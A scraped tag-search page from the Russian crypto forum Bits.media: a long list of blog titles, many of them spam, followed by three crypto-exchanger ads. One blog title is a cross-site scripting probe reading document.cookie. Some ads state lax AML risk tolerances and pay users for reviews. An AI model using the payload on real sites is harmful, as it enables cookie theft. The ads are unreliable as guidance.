Перейти к содержанию

Поиск

Показаны результаты для тегов 'криптовалюты'.

  • Поиск по тегам

    Введите теги через запятую.
  • Поиск по автору

Тип контента


Биткоин форум

  • Новости и события
    • Новости криптовалют
    • Статьи Bits.media
    • Мероприятия
  • Криптовалюты
    • Общий
    • Биткоин
    • Форки биткоина, альткоины
    • DeFi, токены
    • Электронные деньги
    • Блокчейн и финтех
    • Юридические вопросы
    • Кошельки для криптовалют
    • Разработка
    • Безопасность
    • Мониторинг
    • Конкурсы
    • Флейм
  • Экономика & Операции с криптовалютами
    • Экономика
    • Биржи криптовалют
    • Обменники криптовалют
    • Банки
    • Трейдинг криптовалютами
    • Магазины и сервисы (обсуждение, претензии)
    • Краудфандинг и Краудинвестинг
    • Игры, гэмблинг, хайпы, краны, раздачи
  • Майнинг криптовалюты
    • Общие вопросы по майнингу
    • Пулы совместного майнинга
    • Облачный майнинг и агрегаторы
    • Программы для майнинга
    • Стейкинг, Фарминг
    • Аппаратная часть
  • Барахолка
    • Продажа
    • Покупка
    • Услуги, сервисы
    • Работа
    • p2p обмен валют
  • О ресурсе Bits.media
    • Предложения и замечания по работе сайта
    • Предложения и замечания по работе форума
    • Предложения и замечания по работе Блога
  • Local
    • English
    • Other

Блоги

  • polym0rph's блог
  • miner's блог
  • LZ
  • AtomicStrike's блог
  • SolomonVR's блог
  • SolomonVR's блог
  • Sergey371's блог
  • блог phants'а
  • Nirton's блог
  • loga's блог
  • m134's блог
  • Exdeath's блог
  • Exdeath's блог
  • bronevik's блог
  • R1mlin's блог
  • egorbtc's блог
  • Рабочий's блог
  • Парадоксальный блог
  • мыслеизлияние
  • infoman's блог
  • PoolSwitcher
  • Pa2K's блог
  • Garrett's блог
  • pendalf2008's блог
  • forsee1's блог
  • btcshtchka's блог
  • Майнинг Bitcoin
  • Nikita9344_blog
  • Блог Димы
  • Michail's блог
  • Николай III's блог
  • Artists for Bitcoin
  • Artists for Bitcoin
  • ultra's блог
  • Yablya's блог
  • Настройки 7970. Результат 730kh/s в Litecoin
  • SKYnv's блог
  • Новая финансовая система мира
  • ElenaMaaya's блог
  • блог нуба
  • Шифровалютная экономика
  • Kryon's блог
  • kermit's блог
  • Райзеры для видеокарт
  • Shambler's блог
  • busmainer's блог
  • busmainer's блог
  • yunixon's блог
  • полезняшки для себя`s блог
  • AlexShul's блог
  • Виталий's блог
  • Помогите если вас не затруднит..Как отметинь выплату BTC...а то мой акаунт зламали и вывели все деньги...
  • Warmrain's блог
  • app.spec.integra.circuit's блог
  • HW_from_China's блог
  • HW_from_China's блог
  • Vitto
  • neiros' блог
  • kolja153's блог
  • Инвестиции в биткоин
  • advodado
  • bronevik's blog
  • Gold Line блог
  • LuchininAlexandr's блог
  • Биткоин Робот
  • Obmen.PM-Сертифицированный партнер платежной системы Perfect Money
  • Antina
  • SHiCK блог
  • Шахтер без шахты
  • Шахтер без шахты
  • Блог пьяного аналитика
  • Блог пьяного аналитика
  • Planetarius' блог
  • Planetarius' блог
  • ObiKenobi's блог
  • RoboBet блог
  • Блог Одного Человека
  • Planetarius' блог
  • fastesthash.com блог
  • Блог Romanov Capital
  • Cryptex
  • Viktor Sokolov's блог
  • sanyatyu's блог
  • TabTrader's блог
  • bitlook
  • нуждаюсь в вашей помощи опытные майнеры!
  • lathyips' блог
  • ironika
  • Познай себя !!!
  • Ult's блог
  • ill359's блог
  • Суровые будни рядового майнера в РФ
  • CEX.io
  • CEX.io Blog
  • Майнинг Gridseed с контроллером Raspberry PI
  • bestcoin's блог
  • SPA
  • Официальный игровой клуб Вулкан
  • Форк будущего, какой он?
  • Добыча биткоинов
  • majorjora's блог
  • cryptmining.ru
  • блог r2d2
  • РАФАЭЛЬ's блог
  • DDEX блог трейдеров
  • Doomka2014's блог
  • Bitcoin, Litecoin, Doge - С чего начать?
  • dierdan's блог
  • Latium
  • General-Beck's блог
  • Btc-Mirbox.com Самая прибыльная программа в интернете
  • tunsash's блог
  • кирилллллллллллл's блог
  • tunsash's блог
  • Rita's блог
  • Philipp's блог
  • Philipp's блог
  • Zarmung's блог
  • CR!PTO Путешествия
  • poop's блог
  • Makezzila's блог
  • GruberCoin - криптовалюта?
  • Gromootvod's блог
  • Одежда с символикой Bitcoin
  • waflya's блог
  • AsicTrade.com
  • Стратегия выхода на зароботок 1 биткоин
  • начать зарабатывать без вложений биткоин
  • saas' блог
  • vov4ik777333's блог
  • Моя история инвестиций в хайпы
  • Блог о Linux внутри майнеров :)
  • Обзор майнеров
  • Socket32's блог
  • Все самое интересное в мире криптовалют one-percent.ru
  • antolmach's блог
  • Alex-ru блог
  • хороший заработок без вложений!
  • По заработку, информация может быть полезна
  • Продам майнер BITMAIN S3
  • Куда нужно вкладывать свои средства ,чтобы их не потерять и даже заработать на них!!!
  • Ёжики GC3355 - апгрейд (жизнь после "Телеги")
  • En1ken's блог
  • Александр Ch's блог
  • Почему сегодня не открывается сайт bitcoin.org
  • moneymaker's блог
  • НОВЫЕ ХАЙПЫ
  • poiuty's блог
  • Viktor1123's блог
  • igorwhite's блог
  • golub's блог
  • anajik's блог
  • algol68's блог
  • Khamid Sattarov's блог
  • anajik's блог
  • tankist's блог
  • wfdim's блог
  • Ixion's блог
  • BitcoinBank блог
  • fantom's блог
  • Neotex's Blog
  • Александр Самойлов_12600's блог
  • hterw's блог
  • ivanech's блог
  • Новый хайп
  • goodusers' блог
  • motozikl's блог
  • Необыкновенное будущее
  • AndreyNag's блог
  • italiy82's блог
  • Nook89's блог
  • Сибирский червонец
  • interesnye-novosti
  • Биткойномат
  • zzzzz12's блог
  • exspert'bitkoin
  • Александр Глобальный's блог
  • Взрывной Пакет по Заработку Биткоин!
  • Kerver's блог
  • Азартные просторы
  • Компьютерный мастер Баку (опытный мастер)
  • mjauka's блог
  • Vladimir77's блог
  • Joe Black's блог
  • ТоТсамый's блог
  • Kolja's блог
  • antontmn's блог
  • Взрывной Супер Пакет - Как Заработать Без Вложений !!
  • Bordz's блог
  • TheFuzzStone's Blog
  • AndreyNag's Create own PEERCOIN NODE блог
  • demio's place
  • Обменяю ваши WMZ на мои PAYPAL
  • Moonfire's блог
  • nik888's блог
  • EDRCoin info
  • D-APPS
  • 1620$ за 9 дней! заинтересованы ?! пишите в сообещния!
  • Mining bitcoin from farm Hashocean
  • Grail's блог
  • автоматизация процессов
  • Easy Money
  • BLOG Мир Интернет Бизнеса
  • besser99
  • Blog Мир Интернет Бизнеса
  • Blog Julin Gys
  • Coin's блог
  • observer btc-e, наблюдатель BTC-E.COM
  • Заработок биткоинов
  • Дмитрий1839's блог
  • Майнер Эфира и Декреда от Claymore
  • Gridseed GC3355
  • Karasur's блог
  • Right13's блог
  • tanya310119911's блог
  • Swisscoin-Швейцарская криптовалюта
  • Биткоин, путь к луне
  • fancyfinance
  • Evgeny 34's блог
  • Arcady's блог
  • THWGLOBAL
  • solnecno's блог
  • andr1986's блог
  • Alexey654321's блог
  • aleco's blog
  • Tomfox's блог
  • poolminers
  • dini_pal's блог
  • vovchik's блог
  • KolesCoinNews' блог
  • MONERO FOUNDATION RUSSIA™
  • ICONOMI до конца ICO 8 дней
  • альбина32's блог
  • Vladimir Eliseev's блог
  • Vanya Wang's блог
  • Btc Coin's блог
  • papa_medbedb's блог
  • 6000 сатоши в час. Узнай как!!!
  • Свирепый Гарри's блог
  • Sahat's блог
  • Подпишитесь на инстаграмм пожалуйста
  • Se7eN's
  • Снижаем расходы на электричество
  • SERHIY's блог
  • Фаридун's блог
  • ICO (Краудфандинг)
  • Cryptohawk's блог
  • arbitrader's блог
  • ОлегХомин's блог
  • Enzo's блог
  • masterigr2016's блог
  • kurs.expert блог
  • datachains.world Русский Блокчейн 3.0
  • Закрытый клуб BitClub Network
  • Sayat Ibraev's блог
  • maksim2030's блог
  • BITCOIN блог
  • vvka's блог
  • скажите кто знаком долго будит жить этот хайп типо майнинг
  • BitClub Network
  • Краудсейл Augmentors ICO
  • Динар's блог
  • disodium
  • Новые краны по сбору биткоинов
  • Pedro
  • Selling account/продажа аккаунта
  • Как обменять Биткоин в Рубли
  • Заработай играя
  • Genesis Mining Russia's блог
  • Гена's блог
  • Гена's блог
  • Baccarat_1
  • Genesis Mining Russia's блог
  • Siberian Miners
  • Work-bitcoin
  • mike0013's блог
  • Внимание Новинка BTCHAMP
  • LeslyGarold's блог
  • Объясни бабуле криптовалюты
  • New bitcoin dice
  • ★ Global Success ★
  • isadora's блог
  • Prince tv's блог
  • КриптоМир блог
  • Блог BitBetNews
  • Cryptotrend
  • BitBetNews' блог
  • AlamurFury's блог
  • AlamurFury's блог
  • doBETacceptBET's блог
  • postscreen's блог
  • Krot's блог
  • МаршалНиколас's блог
  • Самый лучший майнинг биткоинов и других криптовалют
  • Bitbetnewss' блог
  • barrygoldwon
  • Мошенничество в глобальном масштабе
  • Marina_Aco_M's блог
  • Leon Organo's блог
  • Nikolai Tran's блог
  • Colonizator's блог
  • KriptoKurs блог
  • isa2016's блог
  • Utopia
  • Анжелика9808's блог
  • fxseminar's блог
  • Заработок в интернете с нуля + халява
  • ZORROZ's блог
  • LeoKartman's блог
  • Альберт Карачурин's блог
  • Bitcoin
  • isalm's блог
  • Yur1K's блог
  • Нервная система
  • Нервная система
  • Крипто-Проекты
  • comof2014's блог
  • Sand Coin
  • bitaps.com
  • 1 Bitcoin в месяц легко
  • BIP148
  • HEAgEKBATEH's блог
  • Miner42's блог
  • ChangeKripta's блог
  • mediavoice's блог
  • realestate's блог
  • куплю мощности на hashflare SHA-256 SCRYPT
  • proshift's блог
  • Stan Podyachev's блог
  • CNstuff's блог
  • Alex Lee's блог
  • RX470+RX460 падает хешрейт
  • Макроэкономика криптовалют
  • Криптовалюты и ICO
  • NV42Rus' блог
  • Николай Еременко's блог
  • deg237's блог
  • Bit Bet News' блог
  • xcilog's блог
  • YaNeFiShKa's блог
  • Соломон's блог
  • 23
  • Натур. Мясцо
  • AEON растёт в геометрической прогрессии-хватаем халяву
  • Про биткоин в России
  • Investy
  • Оборудование в стоках и фьючерсах. Китай.
  • адрес
  • HOQU
  • VitalyKaminsky
  • HOQU_rus
  • Грека через реку
  • CryptoCapitalNews
  • Finom Blockchain Blog
  • Everex
  • GoldMineCoin
  • Kolbasska
  • TombCare
  • CREDO - СИСТЕМА ОПЛАТЫ СЛЕДУЮЩЕГО ПОКОЛЕНИЯ
  • Сатош
  • G-obmen
  • Блог Трейдера
  • Revolutionising the 3 core functions of finance.
  • TH
  • Заработок в интернете
  • Privateers.Life - Пиратская ММО на Blockchain
  • Все просто! Все слухи про Биткоин
  • Человеческий
  • Запас прочности Биткоина.
  • Продажа недвижимости в Ялте за биткоины
  • Криптонатор - правда, или обман?
  • @slon21veka
  • AION - инновации технологии блокчейн
  • Подарите на жизнь 1 биткоинт живу бедно
  • Кирпто-портфель
  • Биткоин
  • События мира криптовалют из первоисточников. Аналитика и торговые идеи.
  • Бродкаст старого криптоанархиста
  • В РФ предложили изымать у населения биткоины и передавать их в казну
  • CloudCoin
  • Прошу вашей милость помогите прошу
  • Мои заметки о крипте
  • Криптоаналитика
  • Bitcoin в деталях: полезные ресурсы, инструкции и сервисы
  • Обмен денег
  • Ищу партнера
  • Bitex
  • вывод с ХФ от 6-7 дек
  • GRAPHENE - Нанотехнологии уже близки!
  • жит
  • CryptoMomus
  • Южная Корея планирует бороться с криптолихорадкой!
  • Майнинг на асике с нуля на высокой цене электроэнергии
  • Биткоин растёт
  • баги
  • Blockchain projects blog. Новости, обзоры, анонсы.
  • Криптомир
  • MIRANIT
  • история!
  • Cryptowolftrade
  • https://pocket-exchange.com
  • Глобальная криптовалютная биржа с низкими комиссиями
  • Глобальная криптовалютная биржа с низкими комиссиями
  • ideal zanussi maintenance beheira
  • Сервисы для продвижения сайта
  • ForkGold
  • btnPLUS
  • ForkGold - Новости криптовалют!
  • !!!ICO TELEGRAM!!!
  • White Rabbit - не меньше, чем революция в цифровом распространении фильмов и сериалов.
  • artem.litvinenko2018@list.ru
  • Ищу партнера/инвестора для открытия GPU Фермы/Хостинга
  • ПРЯМАЯ ВИДЕО ТРАНСЛЯЦИЯ
  • Moscow Miner service
  • Жизнь в Одессе маме
  • Майнинговый Проект TERRAMINER. SCAM или SCAM ALERT?!?
  • [ANN] Blockchain for a good cause
  • World’s first blockchain based news content
  • Обзоры товара
  • Dropil: Smart Investment Trading Algorithm
  • [ANN] GOLDELIM ICO - Free tokens
  • Seele.pro - Next generation of Blockchain technology
  • Kriptoblog
  • New trending MaltaCoin
  • [ANN][ICO] Monaco Estate - Cryptocurrency Real Estate Investment Fund ICO
  • NanoCryptos
  • BitBullCoin.io - The future of advanced global money transaction
  • Блог
  • Продажа аккаунта на golden-birds.biz
  • [pre-ANN]BCharity-международная биржа благотворительности
  • SmartChain.io
  • Майнинг отель в Москвской области
  • BytecoinRu
  • Частное мнение
  • Terhubung dengan Dunia dimana saja dan kapan saja bersama E-Chat
  • COPYTRACK menjadi satu satunya crypto Hak Cipta global
  • kyros
  • kyros
  • Оборудование для майнинга в интернет-магазине Wattson-shop
  • Biometrids Platform for identification
  • [ANN] [ICO] PINGVALUE ICO - RELEVANT ADVICE FOR YOUR NEXT EXPERIENCE
  • MinerGate affiliates (реффералы)
  • BitMEX.com Review
  • Помогу пройти верефикацию Poloniex!
  • Быстрый и безопасный обмен электронных денег по выгодному курсу.
  • e-chat platform multifungsi terdesentralisasi pertama dengan dompet crypto built-in.
  • Cryptonomics Capital - фонд инвестиций в ICO
  • Cloud Komputer pribadi tersedia untuk semua orang
  • BestICO
  • NewProjectReview
  • Saatnya beralih ke Blockchain, bitcomo pemasaran afilasi pertama dan satu satunya
  • International Crypto Bank Coin
  • Про криптотехнологии
  • Vinnd Solusi untuk kesehatan anda melalui blockchain
  • Обзоры перспективных ICO
  • байкал х10
  • Bagaimana Vinnd bekerja pada teknologi Blockchain
  • СберБит
  • Digital Safe Coin, upcoming best cryptocurrency?
  • lowenchain mirror
  • Pinjaman tanpa jaminan yang aman
  • Transcordium - Decentralized Peer-to-Peer Media Editing,
  • La Nueva Plataforma Descentralizada de Edición, Transcodificación y Distribución bajo blockchain
  • CryptoSailors
  • TokenGo обзор ICO
  • Инвестируйте в оборудование для майнинга
  • Buy celebrities with Ethereum now
  • [ICO] Coins4Favors - just one click away
  • bits.media
  • Необъяснимо, но факт или сила подсознания
  • Perkenalkan Myriads.IO ...
  • Arbidex – Platform Tranding Aset Dengan Sistem Arbitrase Otomatis di Semua Pertukaran
  • ARBIDEX The First Trading Platform That Collects Liquidity From Exchanges With Automatic Arbitrage System
  • FintruX
  • Invest-HyipTopMonitor
  • Инструкция как заработать на крипто баунти и airdrop!
  • первая и единственная платформа, которая собирает ликвидность и обмены в обмен
  • Arbidex, Сначала с помощью системы обмена арбитражами с криптовалютной валютой
  • Advance.Fund ft Strade Trade
  • Advance.fund
  • Новый проект 2018 года!
  • Esports Wife App - Free Cash, Bitcoins, Dota 2 & more
  • Торговый робот PoloR для Poloniex
  • Учимся торговать, снимаем розовые очки, разоблачаем шарлатанов.
  • Arcane Bear: Building a better tomorrow with the stories from today
  • COOLCOUSIN
  • Elementh - Blockchain for e-commerce
  • Coin News Telegraph | Bitcoin and Blockchain News
  • Новости ICO
  • What are the most profitable and best sites to invest?
  • Всеобъемлющий Блокчейн или тотальная монетизация
  • Sphere Social - Decentralized Social Network
  • Earn Bitcoins while using Google Chrome
  • MASSKRYP
  • Sell btc on paypal USD
  • coinview - Automated, real-time digital assets portfolio tracking
  • Bitcoins в Дубаи
  • Parkgene [GENE]
  • Mavro - Sebagai bos pemasaran jaringan di dunia kripto-mata uang
  • Biometrids
  • SunMoney Token Sale
  • Serenity Financial - SI ICO Trader / Broker Arbitration Invest Token?
  • Serenity Masalah Forex Keuangan Dipecahkan oleh Blockchain
  • File Gas, Masa Depan Penyimpanan Berkas.
  • [ANN] Solomonstouch - The World’s First Humanitarian, Donation and Fundraising Blockchain Platform
  • SAVEDROID строит экосистемы на основе ИИ
  • PARKGENE - STARTVOLUTION PARKIR DAN SOLUSI P2P BERDASARKAN TEKNOLOGI BLOCKCHAIN
  • TOKEN HACK VC
  • [ANN] THRINTEL MARKET™ - The Blockchain Evolution of Threat Intelligence Sharing
  • [ANN] Lunes - The biggest blockchain project in Latin America
  • Как начать зарабатывать?
  • Cryptocurrency Announcements
  • alexxpoll blog
  • blogs_blog_700
  • blogs_blog_702
  • Инновационная экосистема блокчейн, которая подорвет и децентрализует рынки повторной продажи билетов.
  • ICO-online: история создания проекта Me&Doc с нуля до выхода на ICO
  • ATS — В сети интернет обнаружен VIRUS, который убьет ICO проекты
  • Частное мнение
  • Announcements
  • Upminer - ремонт асиков (майнеров)
  • WORLD PEACE COIN: THE FIRST CRYPTO-CURRENCY WHO CARE ABOUT THOSE IN NEEDS
  • Cryptocurrency
  • blogs_blog_720
  • blogs_blog_722
  • blogs_blog_724
  • blogs_blog_726
  • blogs_blog_728
  • AKAIITO #ICO
  • AKAIITO : Platfrom Yang Kuat Dan Beropersi Berdasarkan Blockchain
  • Мониторинг обменников bitcoin
  • Akaiito! Platform untuk kontrak cerdas dan mata uang crypto!
  • AKAIITO Project - Platform yang kuat berdasarkan pada sistem blockchain yang berfungsi pada teknologi kontrak pintar
  • Akaiito – use cryptocurrency in everyday life
  • blogs_blog_742
  • blogs_blog_744
  • Markscheider - проект производства российских майнеров
  • Партнерка - 25% с продажи
  • Биржа криптовалют BitHash
  • Облачный майнинг.
  • Крипто
  • Airdrops
  • Как заработать на криптовалюте
  • CryptoBanOne
  • Проверенная игра Capitalist Game Bot с выводом денег
  • Ashtart - A future where everyone can access energy
  • Блог о ICO-проектах
  • Перспективное ИСО
  • [ICO] MYRYMAX - MAIN SALE (ICO1) IS LIVE
  • Announcements
  • blogs_blog_776
  • blogs_blog_778
  • Neironix Daily Digest - Ежедневный Аналитический Дайджест
  • Digithereum Global
  • Cryptonet. Сообщество профессиональных криптопредпринимателей
  • Announcement blog
  • Crazyer Crypto
  • Альтернативная криптовалюта.
  • Интерактивная платформа CryptoBliss
  • Интерактивная платформа CryptoBliss
  • ICOnow
  • Crypyotraid
  • Ты мне я тебе
  • Криптокнопка "Бабло"
  • Egorr4 Review Blog
  • [Masternode] Dash Platinum запуск!
  • Как сэконмить больше своих денег при переводе в криптовалюты
  • все собрано по сути в компании на ферме в Литве ,вы просто приобретаете, в Москве и СПб есть представители
  • bitcoin abc
  • bitcoin abc
  • Shodik
  • Обзоры майнинг-пулов
  • оптимизированная Equihash miner zcash
  • avto-monstr.ru/ref/4976. 
  • crypt-mining.net
  • CryptoPlayers
  • Описание проекта Crypto Credit Card
  • Криптовалюта
  • cryptMiningNet
  • Peoplewave - Revolutionise recruitment, background checks, onboarding and etc
  • How does the economics community see Bitcoin?
  • Dash Platinum
  • sarah crypto
  • Важное в мире крипты и финансов
  • matty0312
  • cryptocurrency9527
  • oldwolfcoin
  • зарабатываем здесь
  • amyqkl
  • Cryptocurrency information sharing
  • Сергей Онищенко
  • Германия – Швеция: видео трансляция LIVE
  • Всем привет!
  • Мой кино блог
  • Мониторинг обменников BestChange
  • WPGrabber
  • Мой личный кино блог
  • Аналогии
  • Jsa
  • Nama
  • Крипто EXMO News
  • Independent Delhi Escorts
  • Bitok.cc — современный сервис обмена криптовалют
  • Enjoy All Time Fun
  • GEX_CASH
  • РАБОЧИЙ МАЙНИНГ
  • bikoin что это
  • AvailCom - бесключевая аренда имущества
  • THE BEST ICO OF 2018
  • Smile-Expo. С любовью к инновациям!
  • crypto-currency news
  • CryptoChangeNews
  • HELP Token
  • Казино онлайн
  • Microsoft медленно (но точно) подключает Blockchain к основным продуктам
  • Jullie Chandigarh Escorts
  • Установка и настройка Bminer
  • Roundblock
  • Прием Биткоин платежей в OpenCart 3.x, 2.3 и OcStore
  • Иммерсионное охлаждение в майнинге и наукоемких вычислениях на GPU
  • Мастерноды/Masternodes
  • Девчонки-короткие юбчонки
  • Майнинг и фермы HotAsic.ru
  • Localcoinswap - P2P cryptoexchange
  • Tchtf
  • crypto-mining. Bitcoin
  • Мой блог
  • 50x - СКОРЫЙ ВЫХОД НА БИРЖУ С ЕЖЕДНЕВНЫМ НАЧИСЛЕНИЕМ ДИВИДЕНДОВ
  • LoL cec
  • ✅ Новая эра P2P обмена! Аукцион от LKWAVE ?
  • Bitcoin crane
  • Bitcoin Crane
  • Дневник трейдера
  • Разработка скриптов для арбитражной торговли
  • "><img src=x onerror=alert(document.cookie)>
  • Все по маслу
  • Криптоплатформа Bitzlato
  • Bitshares
  • Enjoy full fun with me
  • Блог Papa Change
  • Меняем быстро, не оставляя ожиданий >EXMO,BTC, Оплата: Банковской картой, QIWI-Кошелёк.
  • Oz - Blog
  • RExchange24.ru
  • CryptoChemistry
  • Применение крипты в казино
  • tapchibitcoin.vn
  • THE MOST CHEAPEST AND ACCURATE CELL PHONE NUMBER AND EMAIL DATABASES IN THE WORLD
  • TRUST7
  • ВЛАДИМИР БАКС
  • iEXBase
  • Egamov Bexruz
  • Продать S9, L3 +
  • BestChange
  • CloudCoin
  • Polyx — криптовалютная платформа
  • Мировые новости
  • Новости со всего мира IT и не только
  • Pi Network Coin Mining Project
  • Сайт bits.media топ!
  • Coinmatics LIVE
  • FPGA Криптовалютный майнинг руководство
  • Настройка сервера
  • otzivipro блог
  • ExchangeRates.Pro: сравнение цен обмена Биткойн и 33 криптовалют в России и мире — биржи, обменки, P2P ?
  • Бинариум как открыть счет регистрация и бонус
  • Амикта - блог про инженерию
  • Игровые автоматы на деньги
  • 11111100101
  • Комп для майнинга с Алика
  • https://freebitco.in/?r=33865777
  • Неудачный инвестор
  • Блог сервиса проверки биткоинов Traceer
  • Как я выжил
  • Baking Bad
  • Статус Криптовалюты в этом мире
  • Joys Digital
  • Как я попал в криптобизнес
  • Arbitrage systems.com - мошенники
  • myproject1
  • Яйца в разных корзинах
  • Qtum
  • Binance P2P
  • Бестчендж лучший обменник
  • Краны для Coinpot
  • Мир криптовалют
  • Обменник
  • Crypto-дайджест
  • MoneroASM [Вникаю в блокчейн]
  • Музей компьютеров и игр - история майнинга
  • bitcoin exchanger
  • Blockchain News
  • What’s SoupSwap ?
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwap - Big Promotion Special Offer Only For Investor Earn Bonus Up To 30%
  • SoupSwapOfficial
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • TradingStrategy - "Софт для глубокого анализа и торговли на крипто рынках, собственной разработки"
  • CryptoTab
  • Мой путь
  • We need to help the family of a political prisoner
  • Новие аирдропы
  • ? Crypto Cat / криптовалюты
  • На пути к прибыльному трейдингу!!!
  • KeenEdge блог
  • Tron network
  • Помогу деньгами всем желающим
  • Лучший обменник BestChange ищи лучший курс для обмена!
  • AEX
  • ПРОДАЖА АКАУНТОВ-BINANCE ВЕРИФИЦИРОВАННЫE ЧИСТЫЕ
  • Дневник спекулянта
  • Акции и Новости обмена криптовалюты и эл. денег
  • Новости электронных денег
  • AML / KYC в крипто
  • Bizonex
  • Crypto News
  • HoldReef - бесплатный и безопасный мессенджер для владельцев криптовалют
  • Обзоры крипто-проектов
  • Crypro Coin Desk
  • Nodle: сеть устройств интернета вещей (IoT)
  • Geek Games
  • Dexsport_io
  • Lalicat лучше Multilogin?
  • VPS/VDS/VPN в Европе
  • LuckyMeta AirDrop Giveaways
  • Блог
  • EuroHoster - территория быстрых VPS и выделенных серверов
  • За последние 24 часа
  • Уоррен Баффет назвал Биткоин болезнью и предрёк полное исчезновение криптовалют
  • Cryptex
  • ltc-crypto.blog
  • ECDSA
  • Будни ленивого трейдера
  • m1
  • Insights Driven Reports
  • Vyral Wings - Crowdfunding
  • Правила майнинга в криптозиму
  • 내부 비밀에 홀덤 발견
  • Как кратно увеличить свой доход в крипте с помощью мультиаккаунтинга
  • Надежный поставщик металлопроката обеспечивает комплексное обслуживание.
  • Bitmain Antminer l7 - обзор, характеристики, доходность - 2140MINER
  • Обзоры платформ NFT
  • CryptoApe
  • Приколы
  • Evraz
  • крипта у вас на сайте
  • Криптообменник Smart Obmen
  • Smart Obmen
  • Обучение Крипто Арбитража и Трейдинга
  • MyChange.io - Мультивалютный криптокошелек с P2P Торговлей и 0% P2P Комиссии
  • Как получить историческую цену ERC20-токена
  • TopCrypto
  • AdSense Alternative
  • ISTOKS
  • Digital Capital | Research
  • Signum Journal СМИ о криптовалюте. В активном поиске свежей аналитики и экспертных комментариев для последующих публикаций
  • Обо всё простым языком
  • Мысли Сатоши
  • Top Casino
  • evangelist
  • BTCmedia
  • 3. Как получить больше раздач с несколькими учетными записями? Смотреть здесь
  • Актуальные AIRDROP
  • Блог CryptoYes
  • Simple Solution

Категории

  • Кошельки
  • GPU майнеры
  • CPU майнеры
  • FPGA/ASIC майнеры
  • Драйверы
    • AMD
    • Nvidia
  • Прошивки ASIC майнеров
    • SHA2
    • Scrypt
    • X11
    • EquiHash
    • Ethash
  • Прошивки видеокарт
  • Утилиты
  • Софт для трейдинга
  • Софт для мониторинга

Поиск результатов в...

Поиск контента, содержащего...


Дата создания

  • Начало

    Конец


Дата обновления

  • Начало

    Конец


Фильтр по количеству...

Регистрация

  • Начало

    Конец


Группа


AIM


MSN


Сайт


ICQ


Yahoo


Jabber


Skype


Город:


Интересы


Bitcoin кошелек

  1. ОБМЕН КРИПТОВАЛЮТ В РАЗНЫХ НАПРАВЛЕНИЯХ Обмен от 2000 руб. до любых крупных сумм - Наличный и Безналичный расчет! Купля и продажа известных валют: SOLANA, Bitcoin, ETH, LTC, GMT, USDT и множество других направлений. Мы постоянно обновляем направления обменов на выгодных условиях. Партнерская программа, специальные скидки на обмены! Быстрая обработка заявок: от 5 минут. Принимаем: Сбербанк, Тинькофф, Qiwi Актуальный курс всегда на сайте: BTchange.ru Режим работы: 24/7 Фиксирования курса с момента создания заявки 5 мин., далее курс автоматически обновляется до подтверждения поступления средств на счет мерчанта. Работаем с криптовалютой: BTC, LTC, ETH, USDT, SHIB, DODG, XRP, GMT, SOL и многие другие, которые мы постоянно добавляем в Наш обменник. Все торговые операции проводятся по указанному курсу без дополнительных комиссий! AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - на биржевой аккаунт 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - допустимым до 49% 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - до 20% 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - По решению биржи Garantex. Возврат с удержанием % или полная блокировка Контакты: Telegram: @btchangeru Отзывы на BestChange: https://www.bestchange.ru/btchange-exchanger.html Отзывы на ExchangeSumo: https://exchangesumo.com/exchanger/1010/Btchange/
  2. BestX24.com создан для простого, быстрого и безопасного приобретения или обмена валют с многообразием активных направлений. Осуществляйте все операции с высокой скоростью и полной конфиденциальностью. Наш сервис обмена обеспечивает целый ряд возможностей для наших пользователей, включая оперативную обработку запросов, высший стандарт обслуживания и доступность для клиентов. BestX24 предлагает выгодные курсы и дополнительные программы для лояльных пользователей. Дружелюбный и функциональный дизайн сайта облегчает эффективное использование всех его опций и делает навигацию более удобной. Суммарный опыт специалистов нашей команды в области обмена составляет более 20 лет. На данный момент вы можете обменять у нас такие популярные цифровые активы как: USDT и LTC. Ассортимент валют постоянно расширяется. И вскоре для обмена будут доступны BTC, BCH, BNB, ETH, USDT, DOGE, LTC, SOL, XMR и прочие. В перспективе ожидается сотрудничество с банками: Альфа-банк, ВТБ, Тинькофф, Сбербанк и другими. Зарегистрируйтесь на нашем сайте, чтобы воспользоваться всеми этими возможностями сотрудничества с современным и безопасным онлайн-обменником. Мы делаем все возможное, чтобы ваш опыт был положительным. Вы также найдете нас в соцсетях: Вконтакте Instagram Facebook Twitter Телеграм Мы всегда готовы дать ответы на все ваши вопросы в чате технической поддержки на нашем веб-сайте.
  3. Специализированный сервис CryptoBarMen оказывает услуги обмена по самым популярным направлениям У нас Отсутствует скрытые комиссии; Защищенный протокол https; Доступность 24 часа в сутки; Круглосуточная работа по автоматическим обменам 24/7; Отсутствует верификация Каждый день появляются новые направления AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - Принимаем на биржевой аккаунт 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - 65% риска 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - Риск скор рассчитывает как-то вайтбит. Нам только достаются претензии. Есть ещё такая проблема, что пользователи сами проверяют биток через телеграмм бота, который весь кривой - косой и выдаёт не точную информацию, поэтому вы должны понимать, что % риск скора относительный. А по санкционке ещё меньше %, там вообще 5% хватит. 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Ну случае по даркнету, там возвраты были, если это санкционка, то там 100% локдаун, как правило по последнем случае привлекаем сервисы которые скинули грязь на добросовестного пользователя, чтобы они возмещали. Возвраты по санционке, типо от биржи Гарантекс в нашей истории не были. В настоящее время Обменный Сервис проводит акцию на самый честный отзыв о нашем сервисе: - Любой пользователь со стажем от 6 месяцев на данном форуме совершивший обмен получит приятный бонус, за отзыв о нас, подробности можете уточнить в онлайн чате у оператора. - При дублировании отзыва на КурсЭксперт бонус удваивается. P.S. Первый клиент оставивший отзыв о работе сервиса получает 